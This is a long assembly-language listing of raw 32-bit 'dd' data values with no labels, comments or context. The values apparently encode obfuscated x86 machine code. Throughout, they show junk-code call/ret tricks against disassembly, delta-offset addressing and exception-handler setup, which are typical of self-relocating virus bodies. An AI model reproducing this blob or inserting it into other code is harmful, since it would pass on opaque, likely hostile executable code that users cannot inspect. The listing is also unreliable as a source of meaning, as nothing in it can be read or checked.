		dd 456840Fh, 0BB660000h, 0BD83BE04h, 6133055h, 60840F01h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 928C351h, 1310F18Dh, 28B0F06h
		dd 0B7000000h, 55BD83BFh, 3061330h, 3F3860Fh, 0EE80000h
		dd 0D1000000h, 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 8B66601Bh
		dd 890FFBh, 61000000h, 6A605Fh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F391BC3h, 682h, 39BD2B00h
		dd 23061325h, 1313B5BDh, 0D98C6606h, 0BE96056h,	95000000h
		dd 0CFBC3BA1h, 0C14A6DFEh, 0BA66B116h, 5B610040h, 5E8h
		dd 90737A00h, 8B668784h, 0E1805FD9h, 0B59D8B04h, 0A06131Fh
		dd 62840FC9h, 8B000001h, 0B9858BDAh, 0F06132Bh,	1A8Ch
		dd 12E800h, 0E99D0000h,	0D67F7D67h, 512657CDh, 48189567h
		dd 0BCA309E6h, 335B6160h, 1305B985h, 66509006h,	6A90FE8Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 65D5C355h, 0DE9h,	0AD8CCB00h, 3F96C9D9h
		dd 0A02F7090h, 6AC6D9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D9C35545h, 729AFDC6h, 1C1F4658h, 0B007A7BFh
		dd 4E829h, 3FF0000h, 6650001Fh,	8B07B3BFh, 8B042444h, 0E9525000h
		dd 6, 0A18E7B7h, 310FF416h, 4489585Ah, 0FABB0424h, 5836AC8Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h
		dd 11E9h, 0F7ACA100h, 288310D1h, 8B917B3Ch, 1FBFCD4Eh
		dd 95FFBF1Fh, 6130A3Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E4C35040h, 93F72E69h, 6697B388h, 0A318DF81h
		dd 6820F52h, 2B000000h,	130C5D9Dh, 85895F06h, 616C454h
		dd 67CB8166h, 1C7E93Dh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0B5AB4C3h, 8B208348h
		dd 130149BDh, 4C858B06h, 6A0616C4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1EA1C356h
		dd 1800C796h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 70C2C353h, 0AD47D481h
		dd 0BD298172h, 6132495h, 0C450B58Bh, 0D7800616h, 55858B65h
		dd 6A06132Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6467C355h, 660BB629h, 89D860BFh
		dd 919D2306h, 6606130Dh, 858BFA8Bh, 6132BB9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 44689F9h
		dd 34F18D89h, 0E8500613h, 14h, 110EACC2h, 0B887AAF6h, 10981B28h
		dd 0CB52CC0h, 34A1E425h, 895FF88Bh, 23512434h, 1310A5BDh
		dd 0B5FF5B06h, 616C44Ch, 1DB99D8Bh, 680613h, 566EE2F6h
		dd 0B8837FBFh, 34815F7Dh, 0FDF5FF24h, 13E86Eh, 69D10000h
		dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h,	0CBC78116h
		dd 5F5B83DDh, 0C454858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 2B1928C3h, 2890F50h
		dd 53000000h, 2404895Fh, 0E9C68B60h, 6,	0D96AF0C3h, 0FF618988h
		dd 130A3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F3B9B204h, 0E9FB8B66h, 11h, 410B5931h
		dd 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh, 0BD8B619Fh, 6131295h
		dd 305585C7h, 30613h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 8B9E9EC3h, 54BD83BDh
		dd 616C4h, 2B840Fh, 0B5890000h,	6130029h, 3BE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B70F6BF4h, 0C3050DAh, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 53C35343h, 0DC4E56BFh, 0A99D8B21h, 8B061319h
		dd 130F019Dh, 55BD8306h, 3061330h, 4E3850Fh, 9D290000h
		dd 6130911h, 0C454BD83h, 0F000616h, 4D084h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 133A71F7h, 0E781660Fh, 0B5FFF6F3h, 616C454h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2BC35242h, 8AC56403h
		dd 0FF031440h, 13096995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8B539E5Ch, 132ECDBDh, 11E85B06h
		dd 58000000h, 7FE36B50h, 3D94E03Ch, 11095465h, 2EB2BFFh
		dd 48B58B5Fh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0C07EC351h,	1DCD14CAh
		dd 0B329BEB8h, 106C773h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8EB5C351h
		dd 28BA4E2Eh, 23BB508Dh, 89319757h, 6A2434h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 37DEEDC3h
		dd 54B5FF8Dh, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0BC7FC357h,	12ED9529h
		dd 95FF0613h, 6133229h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 5BC35040h, 400F64BDh,	43EEF723h, 0FBB70F56h
		dd 48B58B5Fh, 8B0616C4h, 1306E9BDh, 0CE906h, 4C5C0000h
		dd 85EE2C5h, 52CBD6C5h,	858BE1ECh, 6130631h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4DC35747h, 8689A2C2h
		dd 0C4h, 12859589h, 958B0613h, 6131BBDh, 835BF856h, 6A04C2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0B4A164C3h, 8921C370h, 51602050h, 810Fh, 8B5A0000h
		dd 131B11B5h, 858D6106h, 616D8E3h, 0E8FEBF0Fh, 13h, 9AE8273Dh
		dd 9D016D7Fh, 0BA621E55h, 0E2C026D4h, 8B196ECBh, 130A59BDh
		dd 86895F06h, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 4C35242h, 0E62566BAh,	13E9600Ch, 0DD000000h
		dd 0FA36E745h, 4C49BE58h, 45EE2180h, 0E83DA94Ah, 0C3807010h
		dd 6A6188h, 0AE9h, 8C739600h, 0CEBE5755h, 0FF55CF79h, 16C454B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 95FF37B6h, 6131E95h, 518D8960h, 6006132Ah
		dd 29EA8166h, 8E0F7Eh, 61000000h, 7E85061h, 3C000000h
		dd 0C4800985h, 0CE94F8Eh, 91000000h, 1963BB2Fh,	0C39F3C2Ch
		dd 5BE62F86h, 6A243489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 1D3CC351h, 0FF752B11h
		dd 16C454B5h, 0FE8B6606h, 214595FFh, 8D290613h,	6130C15h
		dd 0BD83D98Bh, 6131495h, 5C840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0C99AC351h, 669D72D1h, 0E6EE781h, 0E4BB6650h, 243489F0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h
		dd 0CDC5F905h, 8BD9BF0Fh, 1328099Dh, 35B52906h,	0FF061316h
		dd 16C454B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 1485E9BBh, 1EEBF7F6h, 8166D738h
		dd 0FF9C30DBh, 1305AD95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0F5C07D0Eh
		dd 0C454B5FFh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4953D5C3h, 0E8B18C8Fh, 11h, 0DC06AC1Ah
		dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 95FF5F66h,	6131209h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 63C35747h
		dd 0F6ED3B20h, 0BA1F745Eh, 511BD83h, 0F020613h,	6284h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0E6BDBDEAh, 0BD8B82D4h, 6131B81h, 551BD01h
		dd 858B0613h, 6130F55h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0C6C35141h, 666CECEFh, 891CECBFh, 13323D9Dh
		dd 0C606h, 0C7FAB70Fh, 131E5185h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 3E49F038h
		dd 0CB8008F9h, 0BD895007h, 61310A9h, 0F20AE95Fh, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 954C8CC3h, 0DDD9593Fh, 2A7D8589h, 0C18B0613h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h, 1D73FD89h
		dd 4C9C5ECEh, 0D5EF8166h, 0A9858D12h, 0F06131Eh, 0BB50F8B7h
		dd 544F8779h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8065C352h, 0CB80006Ah
		dd 8B006ADFh, 0CB858DF9h, 660617B3h, 83725CBBh,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 620DBDC3h, 95895B47h, 61320CDh, 0F88B6690h, 9D239050h
		dd 61315F5h, 6AF8006Ah,	0EDBD0300h, 0FF061322h,	1307F195h
		dd 0FE906h, 0EB740000h,	0D19DE545h, 26BEFFFEh, 6153CD9Ah
		dd 6A8D8D20h, 230616A3h, 130F519Dh, 0ADBD2306h,	0FF061313h
		dd 57006AD1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 60D22968h, 0C3AC2D3Bh, 1E09BD8Bh, 29600613h
		dd 1316219Dh, 0BD836106h, 613173Dh, 0BA850F01h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6633C350h, 0D573F781h, 820F026Ah,	6, 13019D8Bh
		dd 50900613h, 52505250h, 7E9h, 0D07A9700h, 91A9760Ch, 8E9310Fh
		dd 48000000h, 0C358753Bh, 5A70F089h, 56310F58h,	5A5F6160h
		dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 37B8CCC3h, 0AC783C37h, 8B9F935Ch,	131F099Dh
		dd 31B58906h, 0FF061319h, 131E9595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0BD33015h
		dd 8BC88403h, 1320799Dh, 0E23E906h, 0E80000h, 5D000000h
		dd 0B3D5ED81h, 860F0617h, 0Bh, 8F0F60h,	66000000h, 8961F98Bh
		dd 1319699Dh, 5E858D06h, 6A06168Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CB14C356h
		dd 901F1EE8h, 9050D88Bh, 1AD8D89h, 0FF640613h, 35h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 64B0C5AAh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0A7ED92C3h, 0FFD88B09h
		dd 1316D985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0FF6A1A36h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 3EC35040h, 0E9BB20E3h, 0Eh
		dd 4417E383h, 2857BF55h, 68D09620h, 0B5FF96DAh,	6131B65h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h
		dd 0F4757FF2h, 95FF0B9Fh, 61331ADh, 115E9h, 8900B000h
		dd 130D159Dh, 8B70E606h, 0E871E4FEh, 10h, 4D45C334h, 0A0D01E93h
		dd 705426B0h, 0EF876723h, 613C5FF9h, 0E8830Fh, 81660000h
		dd 0F1F49C7h, 8166C8B6h, 0BAA204DFh, 6,	8BFFB70Fh, 4E8C1C1h
		dd 188B0Fh, 0CE80000h, 20000000h, 0E68748BFh, 0D7450D1Eh
		dd 8B49183Ch, 132C119Dh, 0F7665F06h
		dd 19BD8BE2h, 29061311h, 1301C185h, 8BC82B06h, 130BE1BDh
		dd 8BD18B06h, 1321C99Dh, 26E78106h, 0E969DA6Ah,	6, 0E799531h
		dd 858B0613h, 6132499h,	0F07C083h, 178Ah, 12E900h, 0B72F0000h
		dd 945B8DF5h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h,	8900C083h
		dd 1331E98Dh, 0FD03B06h, 1183h,	99BD8B00h, 0E9061308h
		dd 3Eh,	21A18D89h, 8D8B0613h, 61305F9h,	19618D89h, 0E1830613h
		dd 23840F01h, 9000000h,	130E45BDh, 0F9A58306h, 0FE061305h
		dd 2F999D8Bh, 95890613h, 6132499h, 0EB80FA8Bh, 0E9F4h
		dd 0B58D0000h, 6172722h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 5EC35343h, 0F98B6609h, 0BEEF8166h, 0DEBF662Ch
		dd 66006A46h, 0FF8098BBh, 130DA995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B9F98BC1h
		dd 808h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0F7C35747h, 0F5D10209h,	880Fh, 0E1830000h, 9BD8BFCh
		dd 0FC06130Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0D2C35242h, 9D8BA595h, 6131549h, 0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 26A0F657h, 75B464C4h, 860F459Bh, 0
		dd 6860Fh, 0B5890000h, 613296Dh, 5FE78166h, 0BA0Ch, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 915B6C3h, 1324CD95h,	0C233AD06h, 0D003E8D1h,	7504E983h
		dd 50006AF4h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 21692195h, 6A5E57F5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F664C351h
		dd 89E1F487h, 131A3DB5h, 81FB8B06h, 565660DFh, 880D5Bh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E8E9ACC3h, 14h, 0E5D74489h, 19B88E57h, 85671DBh
		dd 0D882984Dh, 0EECB6229h, 3F82F781h, 505F545Ch, 5FFAB70Fh
		dd 1BBD958Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0F4648C3h, 8E9h,	0F7FB0C00h, 0C87D4656h
		dd 0DD8D8BE4h, 6A061318h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 94FC352h, 1321298Dh
		dd 6E806h, 26460000h, 0F065D112h, 0F03CAEBBh, 8B505F4Dh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 29C35747h, 6FA8AA41h
		dd 80E8CDA1h, 12E9ADh, 525C0000h, 0ADAC3727h, 456FAC79h
		dd 0B8641871h, 0EBA35E1Fh, 0BE9h, 8FF3800h, 0E20D3D2Ch
		dd 0BC2AA296h, 1D1DBD83h, 0F000613h, 2484h, 5DBD2900h
		dd 106130Eh, 13163995h,	0B806h,	0BD8B0000h, 613351Dh, 4F8D8D8Dh
		dd 0E1FF0613h, 0F88B6652h, 55BD835Fh, 61330h, 3A0840Fh
		dd 0BD8B0000h, 6132C85h, 2321B531h, 0BD830613h,	6133055h
		dd 0A2840F01h, 29000003h, 130E49BDh, 0BD83F506h, 6133055h
		dd 58860F03h, 1000003h,	13140585h, 60606006h, 80CB8B66h
		dd 6661E8ECh, 619C54BFh, 5E9h, 0CCA4F300h, 8C663A5Fh, 56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 30630476h, 3D341D71h, 19A9BD29h, 0F98B0613h,	6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0B170C352h, 6880FA6h, 8B000000h, 1315299Dh
		dd 0FC90A06h, 0DF84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8BB537F6h, 132BB985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 33F96E99h, 1305B985h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 90C5035Ah
		dd 87BB5250h, 0F6D23C9h, 0DF8B6631h, 9050585Ah,	6AFDF380h
		dd 19958900h, 80061319h, 5D685DEBh, 66A75E06h, 481DF8Bh
		dd 0C0FDA224h, 3D95FF58h, 6A06130Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D25CC353h
		dd 4C109415h, 8E9h, 1492D200h, 29AB0F55h, 0D8B70F23h, 0C4548589h
		dd 81660616h, 0E928CBCBh, 1BBh,	0BAD4BB66h, 0C44C858Bh
		dd 9D890616h, 6131E41h,	1800C7h, 0BFBB0000h, 8B2B2EA1h
		dd 16C450B5h, 0D9B70F06h, 2A55858Bh, 0B1BF0613h, 921149Dh
		dd 1329DD9Dh, 6A068906h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 892AC356h, 1323E9B5h
		dd 0B9858B06h, 6A06132Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0C632C355h,	57044689h
		dd 33A5BB66h, 0FCB7505Bh, 66243489h, 0BD8BDF8Bh, 6132C65h
		dd 0C44CB5FFh, 6A0616h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0CC798DC3h, 0E8699FE2h, 4, 1F03FFh
		dd 50FE8B66h, 8BFE8B66h, 66042444h, 8B2AC6BFh, 13E85600h
		dd 8E000000h, 38E47611h, 0BE90ADADh, 0A55684B1h, 0AF316A98h
		dd 5F508F88h, 44895F5Bh, 0DE90424h, 15000000h, 57B3C8F2h
		dd 3AF5D2FCh, 89DCD85Fh, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A412AB42h, 0E9BE148Dh
		dd 11h,	0D1A18BC2h, 0E6F0EF1Ah,	6A7D421h, 0F9C25AD5h, 4D9D2384h
		dd 8D061316h, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0FEC251DBh, 86D6B6EAh
		dd 22558589h, 66900613h, 6050DE8Bh, 8E4E21BEh, 6A906107h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0FB33C351h, 7E7C64CCh, 0FC7BE2Eh,	28Eh, 0FFFE8B00h
		dd 130A3D95h, 79BD8B06h, 6106131Bh, 5585C7F5h, 3061330h
		dd 31000000h, 131899BDh, 54BD8306h, 616C4h, 21840Fh, 0BF660000h
		dd 33E9EFB3h, 60000000h, 1E71B589h, 8B660613h, 0E95661D9h
		dd 6, 799B899Ch, 505B6252h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 8531C08Bh, 6131E99h, 31F19589h
		dd 0BD830613h, 6133055h, 16850F03h, 6A000005h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0E073C356h, 0B557A2A5h, 8BB031C5h, 13118D9Dh, 54BD8306h
		dd 616C4h, 4DF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0FDC2F6C3h, 5C1114BEh
		dd 0ADC781C6h, 0FF2E4A8Bh, 16C454B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8E99E6Bh, 91000000h,	0C88FC553h, 0FFFEE006h,	13096995h
		dd 11E906h, 346E0000h, 9976BCF4h, 0E16F68EBh, 0BC2E8C36h
		dd 8B42BB70h, 16C448B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E3B3940Eh, 51E660C7h
		dd 53BF3DA7h, 0C74FE331h, 1000106h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 4B762E26h
		dd 665096EDh, 5F70F2BFh, 0AE950h, 4E500000h, 1954B584h
		dd 6875CBBFh, 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD039568h, 6131BF1h, 0C454B5FFh
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8BA289C3h, 1313F5BDh, 2995FF06h, 6A061332h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 968AC356h, 532820BAh, 0ADCDA452h,	39896BBh
		dd 48B58B50h, 8B0616C4h, 1328259Dh, 31858B06h, 9061306h
		dd 1309158Dh, 0C4868906h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AEEAC351h
		dd 57DA8AA1h, 10E8h, 0D22B8800h, 0FB1CBCFAh, 0FA312F67h
		dd 2C75A799h, 5F616018h, 0BD958B5Bh, 0FC06131Bh, 6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 68DDC356h, 18ED9D01h, 50890613h, 56006A20h
		dd 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0CD6D934Ah, 0BC68A25Ch
		dd 6ADCBB66h, 63D5BB66h, 0D8E3858Dh, 6A0616h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A9E7FEC3h
		dd 0F2C3A90h, 68Bh, 518D2900h, 89061313h, 0B886h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 65AADC63h, 0D19D33DBh, 6A061325h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 668AFCEFh
		dd 0FF8F81BBh, 16C454B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 87A8323Bh
		dd 0B91FB86h, 0B70F6279h, 0FF3FB3DBh, 131E9595h, 0ED8D8906h
		dd 5006131Ah, 0A0BF6057h, 6035A5C2h, 895B6161h,	6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 12FE3AC3h, 2109BD8Bh, 0BF660613h, 0B5FFAEFEh, 616C454h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FDC35646h
		dd 0E07409B1h, 0F781665Ch, 0CF81BE0Ah, 3BD9A9FFh, 1E319D8Bh
		dd 95FF0613h, 6132145h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0CEC35141h, 9E35F8F9h, 0B809610h, 0C684D781h
		dd 0BD835786h, 6131495h, 4A840F00h, 8B000000h, 8B0F50FEh
		dd 15h,	10E9h, 365EE800h, 3307D993h, 412BADB6h,	1EA4B554h
		dd 24348963h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	7C35646h, 7549A9DEh, 4B60021Eh,	459D27BBh, 54B5FF50h
		dd 6A0616C4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 3D71C356h, 0AD95FF60h,	81061305h
		dd 85F414C3h, 54B5FF03h, 6A0616C4h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7895C357h
		dd 120995FFh, 85890613h, 6132A61h, 511BD83h, 0F020613h
		dd 7C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 8F0FE0h, 8B000000h, 130F5585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 19BDEEE9h, 299D29F6h, 2906130Eh, 132431BDh, 0C606h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F9C35343h
		dd 81B86A19h, 0DF99F2E7h, 5185C74Eh, 6131Eh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9463C356h, 89D6A176h, 131CD58Dh, 0F2B4E906h
		dd 0AE9FFFFh, 0CC000000h, 0F2183FCEh, 4A50710Dh, 8AC18BF6h
		dd 0A9858DFEh, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0D46AC357h,	0C0FD84D6h
		dd 2B4D6D13h, 89505B50h, 6A2404h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0CEC35141h,	6AE9E7BEh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BD2394E7h, 6132405h, 0C419858Dh, 8B660617h,	5C083D8h
		dd 30019D33h, 0BD0B0613h, 6131D75h, 0EAA4BB50h,	4893F03h
		dd 0FDBD8B24h, 6A06132Fh, 619D8900h, 6A061305h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 681BD834h, 0FC6B2B7Fh, 0F195FF66h, 6A061307h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 4A9FC355h, 0A36A8D8Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F1CD20C3h, 9D2B53C2h
		dd 613306Dh, 6E95Bh, 626B0000h,	87E1EE05h, 6AD1FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1747AEC3h, 2CE024D8h, 5822E8BFh, 0B9F7816Bh,	832A996Ch
		dd 13173DBDh, 850F0106h, 0C3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 61C35646h, 6A026Ah,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D29258C3h, 0BD8BE4BBh, 61329E5h, 50BBB390h,	0DE8h
		dd 511DFC00h, 74DF284Ch, 0E77AAC6Eh, 0CE867E5h,	0FD000000h
		dd 3A03C121h, 0AF61685Dh, 0FBE9BF8h, 8Eh, 905B5B00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 27C35747h, 1157AEC8h
		dd 35BD2BBDh, 0FF06130Bh, 131E9595h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0B5ADF0FCh
		dd 0E9DFB70Fh, 0C02h, 0E8h, 0ED815D00h,	617C423h, 7C0CBF66h
		dd 31199D31h, 858D0613h, 6168F5Eh, 323DBD8Bh, 89500613h
		dd 0FF642404h, 35h, 0DE800h, 94B70000h,	17184A0Ah, 497BC23h
		dd 5FB18B32h, 258964h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1432C356h
		dd 85FF64B5h, 61316D9h,	0D98B6652h, 0FFFF6A5Bh,	131139B5h
		dd 6800F06h, 81000000h,	31EDC7F3h, 0AD95FF69h, 0E9061331h
